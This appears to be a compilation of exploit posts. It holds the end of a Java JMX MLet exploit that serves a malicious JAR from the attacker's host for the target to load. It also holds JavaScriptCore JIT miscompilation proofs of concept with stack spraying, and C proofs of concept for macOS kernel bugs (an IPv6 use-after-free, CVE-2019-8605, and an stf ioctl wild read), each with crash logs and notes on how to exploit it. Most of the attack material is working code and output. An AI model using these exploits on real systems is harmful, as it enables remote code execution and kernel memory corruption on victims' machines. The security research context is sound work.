String[] { String.class.getName() }); System.out.println("Result:\n" + result + "\n"); // unregister custom MBeans System.out.println("[+] Cleaning up JMX."); for (ObjectInstance x: m.queryMBeans(null, null)) { if (x.getObjectName().toString().startsWith("BNASecurity")) { m.unregisterMBean(x.getObjectName()); } } for (ObjectInstance x: m.queryMBeans(null, null)) { if (x.getObjectName().toString().startsWith("BNASupport")) { m.unregisterMBean(x.getObjectName()); } } } catch (Exception e) { e.printStackTrace(); } } static class MLetHandler implements HttpHandler { public void handle(HttpExchange t) throws IOException { String response = String.format("<HTML><MLET CODE=%s ARCHIVE=%s NAME=%s CODEBASE=http://%s:%d/></MLET></HTML>", EVILCLASS, JARNAME, OBJECTNAMEA, localIP, localPort); System.out.println("[+] Received reverse connection for HTTP page."); t.sendResponseHeaders(200, response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } } static class JarHandler implements HttpHandler { public void handle(HttpExchange t) throws IOException { System.out.println("[+] Received reverse connection for JAR file."); File file = new File(JARNAME); byte[] bytearray = new byte[(int) file.length()]; FileInputStream fis = new FileInputStream(file); BufferedInputStream bis = new BufferedInputStream(fis); bis.read(bytearray, 0, bytearray.length); t.sendResponseHeaders(200, file.length()); OutputStream os = t.getResponseBody(); os.write(bytearray, 0, bytearray.length); os.close(); } } private static final char[] HEXDIGITS = "0123456789abcdef".toCharArray(); private static String toHexString(byte[] bytes) { StringBuilder sb = new StringBuilder(bytes.length * 3); for (int b: bytes) { b &= 0xff; sb.append(HEXDIGITS[b >> 4]); sb.append(HEXDIGITS[b & 15]); sb.append(' '); } return sb.toString(); } public static void deleteCertificate(File trustStore, String path, String password, String alias) { try (final FileInputStream fis = new FileInputStream(trustStore)) { final KeyStore keystore = KeyStore.getInstance(KeyStore.getDefaultType()); keystore.load(fis, password.toCharArray()); if (keystore.containsAlias(alias)) { keystore.deleteEntry(alias); OutputStream writeStream = new FileOutputStream(path); keystore.store(writeStream, password.toCharArray()); writeStream.close(); System.out.println("[+] Certificate deleted from keystore."); } else { System.out.println("[-] Alias " + alias + " not found in keystore."); } } catch (final Exception e) { System.out.println("[-] Error occured while deleting certificate."); } } private static class SavingTrustManager implements X509TrustManager { private final X509TrustManager tm; private X509Certificate[] chain; SavingTrustManager(X509TrustManager tm) { this.tm = tm; } @Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; // throw new UnsupportedOperationException(); } @Override public void checkClientTrusted(final X509Certificate[] chain, final String authType) throws CertificateException { throw new UnsupportedOperationException(); } @Override public void checkServerTrusted(final X509Certificate[] chain, final String authType) throws CertificateException { this.chain = chain; this.tm.checkServerTrusted(chain, authType); } } }
  20. While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release: // Run with --useConcurrentJIT=false // Fill the stack with the return value of the provided function. function stackspray(f) { // This function will spill all the local variables to the stack // since they are needed for the returned array. let v0 = f(); let v1 = f(); let v2 = f(); let v3 = f(); let v4 = f(); let v5 = f(); let v6 = f(); let v7 = f(); return [v0, v1, v2, v3, v4, v5, v6, v7]; } // JIT compile the stack spray. for (let i = 0; i < 1000; i++) { // call twice in different ways to prevent inlining. stackspray(() => 13.37); stackspray(() => {}); } for (let v15 = 0; v15 < 100; v15++) { function v19(v23) { // This weird loop form might be required to prevent loop unrolling... for (let v30 = 0; v30 < 3; v30 = v30 + "asdf") { // Generates the specific CFG necessary to trigger the bug. const v33 = Error != Error; if (v33) { } else { // Force a bailout. // CFA will stop here and thus mark the following code as unreachable. // Then, LICM will ignore the memory writes (e.g. initialization of stack slots) // performed by the following code and will then move the memory reads (e.g. // access to stack slots) above the loop, where they will, in fact, be executed. const v34 = (1337)[-12345]; } function v38(v41) { // v41 is 8 bytes of uninitialized stack memory here, as // (parts of) this code get moved before the loop as well. return v41.hax = 42; } for (let v50 = 0; v50 < 10000; v50++) { let o = {hax: 42}; const v51 = v38(o, ...arguments); } } // Force FTL compilation, probably. for (let v53 = 0; v53 < 1000000; v53++) { } } // Put controlled data onto the stack. stackspray(() => 3.54484805889626e-310); // 0x414141414141 in binary // Call the miscompiled function. const v55 = v19(1337); } This yields a crash similar to the following: # lldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc --useConcurrentJIT=false current.js (lldb) target create "/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc" Current executable set to '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64). (lldb) settings set -- target.run-args "--useConcurrentJIT=false" "current.js" (lldb) r Process 45483 launched: '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64) Process 45483 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT) frame #0: 0x000025c3ca81306e -> 0x25c3ca81306e: cmp dword ptr [rax], 0x127 0x25c3ca813074: jne 0x25c3ca81316f 0x25c3ca81307a: mov dword ptr [rbp + 0x24], 0x1 0x25c3ca813081: movabs rax, 0x7fff3c932a70 Target 0: (jsc) stopped. (lldb) reg read rax rax = 0x0001414141414141 // Note the additional 0x1 at the start due to the NaN boxing scheme (see JSCJSValue.h) The same sample also sometimes triggers a crash with --useConcurrentJIT=true (the default), but it is more reliable with concurrent JIT disabled. If the sprayed value is a valid pointer, that pointer would either be treated as an object with the structure of `o` in the following code (if the first dword matches the structure ID), or it would be treated as a JSValue after a bailout to the baseline JIT/interpreter. It appears that what is happening here is roughly the following: When v19 is JIT compiled in the DFG, it emits the following (shortened and simplified) DFG IR for the body of the loop: # BASIC BLOCK #9 (loop body) # Create object `o` 110: NewObject() 116: PutByOffset(@110, @113, id1{hax}) 117: PutStructure(@110, ID:430) # Spread `o` and `arguments` into a new array and use that for a varargs call 131: Spread(@30) 134: NewArrayWithSpread(@110, @131) 142: LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap) # Inlined call to v38, load the first argument from the stack (where LoadVarargs put it) 8: GetStack(R:Stack(-24)) 177: CheckStructure(@8) 178: PutByOffset(@8, @113, id1{hax}) ... During loop-invariant code motion (LICM), the GetStack operation, reading from the stack slot initialized by the LoadVarargs operation, is moved in front of the loop (together with parts of the inlined v38 function), thus yielding: # BASIC BLOCK #2 (before loop header) 8: GetStack(R:Stack(-24)) 177: CheckStructure(@8) # BASIC BLOCK #9 (loop body) # Create object `o` ... # Spread `o` and `arguments` into a new array and use that for a varargs call ... 142: LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap) ... As such, in the resulting machine code, the value for v41 (the argument for the inner function) will be loaded from an uninitialized stack slot (which is only initialized later on in the code). Normally, this shouldn't happen as the LoadVarargs operations writes into the stack (W:Stack(-24)), and GetStack reads from that (R:Stack(-24)). Quoting from DFGLICMPhase.cpp: "Hoisting is valid if: ... The node doesn't read anything that the loop writes.". As such, GetStack should not have been moved in front of the loop. The reason that it was still moved appears to be a logical issue in the way LICM deals with dead code: LICM relies on the data computed by control flow analysis (CFA) to know whether a block will be executed at all. If a block will never be executed (and so is dead code), then LICM does not take into account memory writes (e.g. to Stack(-24)) performed by any operation in this block (See https://github.com/WebKit/webkit/blob/c755a5c371370d3a26f2dbfe0eea1b94f2f0c38b/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp#L88). It appears that this behaviour is incorrect, as in this case, CFA correctly concludes that block #9 is dead code (see below). As such, LICM doesn't "see" the memory writes and incorrectly moves the GetStack operation (reading from a stack slot) in front of the LoadVarargs operation (initializing that stack slot). To understand why CFA computes that the loop body (block #9) is unreachable, it is necessary to take a look at the (simplified) control flow graph for v9, which can be found in the attachment (as it needs to be rendered in monospace font :)). In the CFG, block #3, corresponding to the `if`, is marked as always taking the false branch (which is correct), and thus jumping to block 5. Block 5 then contains a ForceOSRExit operation due to the out-of-bounds array access, which the JIT doesn't optimize for. As this operation terminates execution in the DFG, CFA also stops here and never visits the rest of the loop body and in particular never visits block #9. To recap: in the provided JavaScript program, CFA correctly computes that basic block #9 is never executed. Afterwards, LICM decides, based on that data, to ignore memory writes performed in block #9 (dead code), then moves memory reads from block #9 (dead code) into block #2 (alive code). The code is then unsafe to execute. It is likely that this misbehaviour could lead to other kinds of memory corruption at runtime. +-----+ | 0 +----+ +-----+ | +-----+ | | 1 +-------+ v +-----+ | +-----------+ ^ | | 2 | | +---->| loop head | | +-----+-----+ | | | v | +---------+ | | 3 | | | if head | | +--+---+--+ | | | | +-----+ | | +-----+ | | 5 |<-----+ +----->| 4 | | +--+--+ +--+--+ | OSRExit here | | +-----+ | | | 6 |<-------+ | +--+--+ | +------+ | +-------+ 7-10 |<------+ +---+--+ Rest of | Loop body | | To End of function
  21. While fuzzing JavaScriptCore, I encountered the following JavaScript program which crashes jsc from current HEAD (git commit 3c46422e45fef2de6ff13b66cd45705d63859555) in debug and release builds (./Tools/Scripts/build-jsc --jsc-only [--debug or --release]): // Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10 --thresholdForFTLOptimizeAfterWarmUp=1000 function v0(v1) { function v7(v8) { function v12(v13, v14) { const v16 = v14 - -0x80000000; const v19 = [13.37, 13.37, 13.37]; function v20() { return v16; } return v19; } return v8(v12, v1); } const v27 = v7(v7); } for (let i = 0; i < 100; i++) { v0(i); } It appears that what is happening here is roughly the following: Initially, the call to v12 is inlined and the IR contains (besides others) the following instructions for the inlined v12: 1 <- GetScope() 2 <- CreateActivation(1) 3 <- GetLocal(v14) 4 <- JSConstant(-0x80000000) 5 <- ValueSub(3, 4) 6 <- NewArrayBuffer(...) Here, The CreateActivation instruction allocates a LexicalEnvironment object on the heap to store local variables into. The NewArrayBuffer allocates backing memory for the array. Next, the subtraction is (incorrectly?) speculated to not overflow and is thus replaced by an ArithSub, an instruction performing an integer subtraction and bailing out if an overflow occurs: 1 <- GetScope() 2 <- CreateActivation(1) 3 <- GetLocal(v14) 4 <- JSConstant(-0x80000000) 5 <- ArithSub(3, 4) 6 <- NewArrayBuffer(...) Next, the object allocation sinking phase runs, which determines that the created activation object doesn't leave the current scope and thus doesn't have to be allocated at all. It then replaces it with a PhancomCreateActivation, a node indicating that at this point a heap allocation used to happen which would have to be restored ("materialized") during a bailout because the interpreter/baseline JIT expects it to be there. As the scope object is required to materialize the Activation, a PutHint is created which indicates that during a bailout, the result of GetScope must be available somehow. 1 <- GetScope() 2 <- PhantomCreateActivation() 7 <- PutHint(2, 1) 3 <- GetLocal(v14) 4 <- JSConstant(-0x80000000) 5 <- ArithSub(3, 4) 6 <- NewArrayBuffer(...) The DFG IR code is then lowered to B3, yielding the following: Int64 @66 = Const64(16, DFG:@1) Int64 @67 = Add(@35, $16(@66), DFG:@1) Int64 @68 = Load(@67, ControlDependent|Reads:28, DFG:@1) Int32 @69 = Const32(-2147483648, DFG:@5) Int32 @70 = CheckSub(@48:WarmAny, $-2147483648(@69):WarmAny, @35:ColdAny, @48:ColdAny, @68:ColdAny, @41:ColdAny, ...) Int64 @74 = Patchpoint(..., DFG:@6) Here, the first three operations fetch the current scope, the next two instruction perform the checked integer subtraction, and the last instruction performs the array storage allocation. Note that the scope object (@68) is an operand for the subtraction as it is required for the materialization of the activation during a bailout. The B3 code is then (after more optimizations) lowered to AIR: Move %tmp2, (stack0), @65 Move 16(%tmp2), %tmp28, @68 Move $-2147483648, %tmp29, $-2147483648(@69) Move %tmp4, %tmp27, @70 Patch &BranchSub32(3,SameAsRep)4, Overflow, $-2147483648, %tmp27, %tmp2, %tmp4, %tmp28, %tmp5, @70 Patch &Patchpoint2, %tmp24, %tmp25, %tmp26, @74 Then, after optimizations on the AIR code and register allocation: Move %rax, (stack0), @65 Move 16(%rax), %rdx, @68 Patch &BranchSub32(3,SameAsRep)4, Overflow, $-2147483648, %rcx, %rax, %rcx, %rdx, %rsi, @70 Patch &Patchpoint2, %rax, %rcx, %rdx, @74 Finally, in the reportUsedRegisters phase (AirReportUsedRegisters.cpp), the following happens * The register rdx is marked as "lateUse" for the BranchSub32 and as "earlyDef" for the Patchpoint (this might ultimately be the cause of the issue). "early" and "late" refer to the time the operand is used/defined, either before the instruction executes or after. * As such, at the boundary (which is where register liveness is computed) between the last two instructions, rdx is both defined and used. * Then, when liveness is computed (in AirRegLiveness.cpp) for the boundary between the Move and the BranchSub32, rdx is determined to be dead as it is not used at the boundary and defined at the following boundary: // RegLiveness::LocalCalc::execute void execute(unsigned instIndex) { m_workset.exclude(m_actions[instIndex + 1].def); m_workset.merge(m_actions[instIndex].use); } As a result, the assignment to rdx (storing the pointer to the scope object), is determined to be a store to a dead register and is thus discarded, leaving the following code: Move %rax, (stack0), @65 Patch &BranchSub32(3,SameAsRep)4, Overflow, $-2147483648, %rcx, %rax, %rcx, %rdx, %rsi, @70 Patch &Patchpoint2, %rax, %rcx, %rdx, @74 As such, whatever used to be in rdx will then be treated as a pointer to a scope object during materialization of the activation in the case of a bailout, leading to a crash similar to the following: * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbbadbeef) * frame #0: 0x0000000101a88b20 JavaScriptCore`::WTFCrash() at Assertions.cpp:255 frame #1: 0x00000001000058fb jsc`WTFCrashWithInfo((null)=521, (null)="../../Source/JavaScriptCore/runtime/JSCJSValueInlines.h", (null)="JSC::JSCell *JSC::JSValue::asCell() const", (null)=1229) at Assertions.h:560 frame #2: 0x000000010000bdbb jsc`JSC::JSValue::asCell(this=0x00007ffeefbfcf78) const at JSCJSValueInlines.h:521 frame #3: 0x0000000100fe5fbd JavaScriptCore`::operationMaterializeObjectInOSR(exec=0x00007ffeefbfd230, materialization=0x0000000106350f00, values=0x00000001088e7448) at FTLOperations.cpp:217 frame #4: ... (lldb) up 2 frame #2: 0x000000010000bdbb jsc`JSC::JSValue::asCell(this=0x00007ffeefbfcf78) const at JSCJSValueInlines.h:521 (lldb) p *this (JSC::JSValue) $2 = { u = { asInt64 = -281474976710656 ptr = 0xffff000000000000 asBits = (payload = 0, tag = -65536) } } In this execution, the register rdx contained the value 0xffff000000000000, used in the JITed code as a mask to e.g. quickly determine whether a value is an integer. However, depending on the compiled code, the register could store different (and potentially attacker controlled) data. Moreover, it might be possible to trigger the same misbehaviour in other situations in which the dangling register is expected to hold some other value. This particular sample seems to require the ValueSub DFG instruction, introduced in git commit 5ea7781f2acb639eddc2ec8041328348bdf72877, to produce this type of AIR code. However, it is possible that other DFG IR operations can result in the same AIR code and thus trigger this issue. I have a few other samples that appear to be triggering the same bug with different thresholds and potentially with concurrent JIT enabled which I can share if that is helpful.
  22. # Reproduction Repros on 10.14.3 when run as root. It may need multiple tries to trigger. $ clang -o in6_selectsrc in6_selectsrc.cc $ while 1; do sudo ./in6_selectsrc; done res0: 3 res1: 0 res1.5: -1 // failure expected here res2: 0 done ... [crash] # Explanation The following snippet is taken from in6_pcbdetach: ``` void in6_pcbdetach(struct inpcb *inp) { // ... if (!(so->so_flags & SOF_PCBCLEARING)) { struct ip_moptions *imo; struct ip6_moptions *im6o; inp->inp_vflag = 0; if (inp->in6p_options != NULL) { m_freem(inp->in6p_options); inp->in6p_options = NULL; // <- good } ip6_freepcbopts(inp->in6p_outputopts); // <- bad ROUTE_RELEASE(&inp->in6p_route); // free IPv4 related resources in case of mapped addr if (inp->inp_options != NULL) { (void) m_free(inp->inp_options); // <- good inp->inp_options = NULL; } ``` Notice that freed options must also be cleared so they are not accidentally reused. This can happen when a socket is disconnected and reconnected without being destroyed. In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be used after they are freed. This specific PoC requires root because I use raw sockets, but it's possible other socket types suffer from this same vulnerability. # Crash Log panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers: CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0 RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000 RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001 R8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000 R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000 RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0 Backtrace (CPU 4), Frame : Return Address 0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa 0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63 0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d 0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114 0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75 0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284 0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f 0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16 BSD process name corresponding to current thread: in6_selectsrc Boot args: keepsyms=1 -v=1 Mac OS version: 18D109 #include <stdio.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <unistd.h> #include <net/if.h> #include <string.h> #include <netinet/in.h> #include <errno.h> /* # Reproduction Repros on 10.14.3 when run as root. It may need multiple tries to trigger. $ clang -o in6_selectsrc in6_selectsrc.cc $ while 1; do sudo ./in6_selectsrc; done res0: 3 res1: 0 res1.5: -1 // failure expected here res2: 0 done ... [crash] # Explanation The following snippet is taken from in6_pcbdetach: ``` void in6_pcbdetach(struct inpcb *inp) { // ... if (!(so->so_flags & SOF_PCBCLEARING)) { struct ip_moptions *imo; struct ip6_moptions *im6o; inp->inp_vflag = 0; if (inp->in6p_options != NULL) { m_freem(inp->in6p_options); inp->in6p_options = NULL; // <- good } ip6_freepcbopts(inp->in6p_outputopts); // <- bad ROUTE_RELEASE(&inp->in6p_route); // free IPv4 related resources in case of mapped addr if (inp->inp_options != NULL) { (void) m_free(inp->inp_options); // <- good inp->inp_options = NULL; } ``` Notice that freed options must also be cleared so they are not accidentally reused. This can happen when a socket is disconnected and reconnected without being destroyed. In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be used after they are freed. This specific PoC requires root because I use raw sockets, but it's possible other socket types suffer from this same vulnerability. # Crash Log panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers: CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0 RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000 RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001 R8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000 R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000 RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0 Backtrace (CPU 4), Frame : Return Address 0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa 0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63 0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d 0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114 0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75 0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284 0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f 0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16 BSD process name corresponding to current thread: in6_selectsrc Boot args: keepsyms=1 -v=1 Mac OS version: 18D109 */ #define IPPROTO_IP 0 #define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 } #define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 } int main() { int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP); printf("res0: %d\n", s); struct sockaddr_in6 sa1 = { .sin6_len = sizeof(struct sockaddr_in6), .sin6_family = AF_INET6, .sin6_port = 65000, .sin6_flowinfo = 3, .sin6_addr = IN6_ADDR_LOOPBACK, .sin6_scope_id = 0, }; struct sockaddr_in6 sa2 = { .sin6_len = sizeof(struct sockaddr_in6), .sin6_family = AF_INET6, .sin6_port = 65001, .sin6_flowinfo = 3, .sin6_addr = IN6_ADDR_ANY, .sin6_scope_id = 0, }; int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1)); printf("res1: %d\n", res); unsigned char buffer[4] = {}; res = setsockopt(s, 41, 50, buffer, sizeof(buffer)); printf("res1.5: %d\n", res); res = connect(s, (const sockaddr*)&sa2, sizeof(sa2)); printf("res2: %d\n", res); close(s); printf("done\n"); } ClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well. ==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248 READ of size 8 at 0x610000000c50 thread T0 SCARINESS: 51 (8-byte-read-heap-use-after-free) #0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25 #1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13 #2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12 #3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12 #4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10 0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00) freed by thread T0 here: #0 0x497a3d in free _asan_rtl_:3 #1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3 #2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3 #3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7 #4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10 #5 0x7f15a34324c5 in sodisconnectx /src/bsd/kern/uipc_socket.c:1839:10 #6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10 previously allocated by thread T0 here: #0 0x497cbd in __interceptor_malloc _asan_rtl_:3 #1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10 #2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9 #3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13 #4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12 #5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12 #6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10 #include <stdio.h> #include <unistd.h> #include <netinet/in.h> /* TCP-based reproducer for CVE-2019-8605 This has the benefit of being reachable from the app sandbox on iOS 12.2. */ #define IPV6_3542PKTINFO 46 int main() { int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); printf("res0: %d\n", s); unsigned char buffer[1] = {'\xaa'}; int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer)); printf("res1: %d\n", res); res = disconnectx(s, 0, 0); printf("res2: %d\n", res); socklen_t buffer_len = sizeof(buffer); res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len); printf("res3: %d\n", res); printf("got %d\n", buffer[0]); close(s); printf("done\n"); } It seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected. But there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.
  23. /* # Reproduction Tested on macOS 10.14.3: $ clang -o stf_wild_read stf_wild_read.cc $ ./stf_wild_read # Explanation SIOCSIFADDR is an ioctl that sets the address of an interface. The stf interface ioctls are handled by the stf_ioctl function. The crash occurs in the following case where a `struct ifreq` is read into kernel memory and then casted to the incorrect `struct ifaddr` type. I suspect this ioctl is not intended to be reachable by the user, but is unintentionally exposed without the necessary translation from `ifreq` to `ifaddr`, e.g. as it is done in `inctl_ifaddr`. case SIOCSIFADDR: ifa = (struct ifaddr *)data; if (ifa == NULL) { error = EAFNOSUPPORT; break; } IFA_LOCK(ifa); if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here IFA_UNLOCK(ifa); error = EAFNOSUPPORT; break; } Note that IFA_LOCK is called on user-provided data; it appears that there is an opportunity for memory corruption (a controlled write) when using indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow). # Crash Log panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers: CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0 RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000 RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000 R8: 0xffffff805f9db7f0, R9: 0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000 R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10 RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0 Backtrace (CPU 6), Frame : Return Address 0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa 0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63 0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d 0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558 0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217 0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214 0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114 0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f 0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8 0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b 0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c 0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16 */ #include <stdio.h> #include <sys/types.h> #include <sys/ioctl.h> 